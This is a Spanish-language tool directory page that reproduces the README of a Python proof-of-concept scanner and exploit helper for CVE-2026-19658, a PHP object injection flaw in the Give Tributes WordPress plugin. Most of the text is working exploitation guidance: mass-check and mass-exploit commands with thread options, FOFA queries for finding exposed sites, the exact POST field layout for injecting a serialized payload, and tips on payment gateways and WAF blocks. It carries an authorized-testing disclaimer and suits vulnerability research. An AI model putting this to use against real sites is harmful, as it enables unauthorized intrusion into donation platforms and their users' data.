Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-19658 — Comprobador y asistente de explotación en Python 3 para CVE-2026-19658, una vulnerabilidad de inyección de objetos PHP en el plugin Give Tributes de WordPress, con descubrimiento de objetivos mediante FOFA y explotación de formularios de donación heredados. | Kitploit
Herramientas/GitHubGitHub/murrez/cve-2026-19658
ReconocimientoEscáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónScripting y AutomatizaciónExplotación de Aplicaciones WebRecopilación de InformaciónSeguridad WebPruebas de PenetraciónDesarrollo de Payloads
15hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHub
murrez/cve-2026-19658

CVE-2026-19658

Comprobador y asistente de explotación en Python 3 para CVE-2026-19658, una vulnerabilidad de inyección de objetos PHP en el plugin Give Tributes de WordPress, con descubrimiento de objetivos mediante FOFA y explotación de formularios de donación heredados.

Ver Repositorio
Compartir

CVE-2026-19658 — Inyección de Objetos PHP No Autenticada en Give Tributes

Prueba de concepto en Python 3: escáner y ayudante de explotación de la cadena de donación para CVE-2026-19658 en el complemento de WordPress Give - Tributes (Liquid Web / GiveWP).

PlataformaComplemento de WordPress (requiere el núcleo GiveWP)
ComponenteGive - Tributes
Afectados≤ 2.3.1
Corregido en2.3.1.1+ (campos de eCard multirreceptor saneados)
CVSS9.8 Crítico
AutenticaciónNo autenticada (formulario de donación heredado)
CWECWE-502 — Deserialización de datos no confiables
AsignadorWordfence

Resumen

Cuando Allow Multiple Recipients está habilitado para eCards y el mensaje personalizado de eCard está deshabilitado (predeterminado), las versiones vulnerables almacenan datos de destinatario de eCard de $_POST sin procesar en los metadatos de la donación. La validación de campos de GiveWP utiliza una copia give_clean() de $_POST (las cadenas serializadas se vacían allí), pero insert_tribute_data() lee $_POST sin sanear, por lo que el first_name / last_name de un segundo destinatario puede contener un objeto serializado de PHP.

Impacto: No se conoce una cadena POP dentro de Give Tributes por sí solo. Los metadatos se deserializan al leerse (por ejemplo, vista previa/reenvío de eCard en el administrador). RCE o impacto destructivo requiere una cadena de gadgets de otro complemento o tema instalado.

Requisitos previos del lado del servidor

  1. Give Tributes ≤ 2.3.1
  2. Allow Multiple Recipients habilitado (global o por formulario)
  3. Mensaje personalizado de eCard deshabilitado (predeterminado)
  4. Formulario Give heredado público ([give_form] / v2), no el Visual Form Builder solo v3
  5. Una pasarela de pago que pueda completar una donación en tu prueba (a menudo manual en dev/staging)

Requisitos

  • Python 3.8+
  • pip install -r requirements.txt

Inicio rápido

root@kitploit:~
pip install -r requirements.txt

# Objetivo único — comprobar (flujo de terminal activado por defecto para --list)
python poc.py -u https://target.example --mode check

# Comprobación masiva
python poc.py --list targets.example.txt --mode check --threads 20 --flow

# Objetivo único — explotar (solo objetivos autorizados)
python poc.py -u https://target.example --mode exploit \
  --form-url /donate/ --form-id 123 --gateway manual \
  --payload 'O:8:"stdClass":0:{}'

# Explotación masiva desde la salida de comprobación
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
  --vuln-list exploited.txt

FOFA → lista de objetivos

Ejemplos:

root@kitploit:~
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"

Lista de hosts (un dominio por línea):

root@kitploit:~
python poc.py --list my_hosts.txt --mode check --threads 20 --flow

Exportación CSV de FOFA:

root@kitploit:~
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20

Opciones de CLI

OpciónDescripción
-u, --urlURL base única
--listLista de URL, archivo de hosts o candidates.jsonl
--modecheck o exploit
--form-urlRuta de la página de donación o URL completa
--form-idID de la entrada del formulario Give
--pathsRutas adicionales para rastrear en busca de formularios
--payloadObjeto serializado para el first_name del segundo destinatario
--gatewaypayment-mode de Give (predeterminado manual)
--emailgive_email del donante
--flowUna línea por objetivo en ejecuciones masivas (predeterminado con --list)
--no-flowSolo resumen de progreso
--quiet, -qSalida mínima en consola
--threads, -jConcurrencia masiva (predeterminado 12)
--outputRegistro JSONL (predeterminado cve_2026_19658_results.jsonl)
--vuln-listLíneas de aciertos/explotados en texto (predeterminado hits.txt)
--candidates-listJSONL de metadatos de comprobación (predeterminado candidates.jsonl)

Usa --vuln-list exploited.txt en las ejecuciones de explotación para que los aciertos de comprobación en hits.txt no se sobrescriban.

Archivos de salida

ArchivoModoContenido
cve_2026_19658_results.jsonlambosJSON completo por objetivo
hits.txtcheckURLs con exploitable_candidate
candidates.jsonlcheckbest_form, indicios de versión
exploited.txtexploiturl|payment=… cuando se confirma la donación

Valores de status en la comprobación

EstadoSignificado
candidateComplemento vulnerable + Give + formulario heredado con interfaz de tributes
vulnerable_no_formComplemento/versión OK, no se encontró formulario adecuado en las rutas rastreadas
patchedTributes > 2.3.1 o ≥ 2.3.1.1 (cuando la versión es legible)
give_onlyGive sin Tributes detectable
no_pluginTributes no detectado

El escaneo remoto no puede ver de forma fiable "Allow Multiple Recipients"; los candidatos pueden fallar igualmente en el momento de la explotación.

Notas de explotación

  • El PoC envía dos destinatarios de eCard; el payload es el segundo campo first_name.
  • La pasarela manual suele estar deshabilitada en producción — prueba las pasarelas visibles en el formulario (stripe, paypal, test, …).
  • El éxito requiere marcadores de recibo de Give (no copia genérica de la página que contenga "thank you"). La misma URL con el formulario aún presente no se cuenta como éxito.
  • give validation rejected donation: opciones de tribute/notify, importe o pasarela incorrectos.
  • HTTP 403: WAF (Sucuri, MalCare, etc.) bloqueando el POST.
  • Formularios solo v3: usa la URL del formulario heredado u omítelo (el procesador rechaza los IDs v3 en el endpoint heredado).

Estructura del POST (formulario heredado)

root@kitploit:~
give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…

Estructura del repositorio

root@kitploit:~
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Las listas de escaneo locales y los artefactos de ejecución (list.txt, fofa*.csv, *.jsonl, hits.txt, …) están en .gitignore y no deben confirmarse.

Referencias

  • NVD — CVE-2026-19658
  • Give Tributes readme (nota de corrección 2.3.1.1)
  • Complemento GiveWP

Legal

Solo para pruebas de seguridad autorizadas y educación. Eres responsable del cumplimiento de las leyes aplicables y las reglas del programa.

Descargar herramienta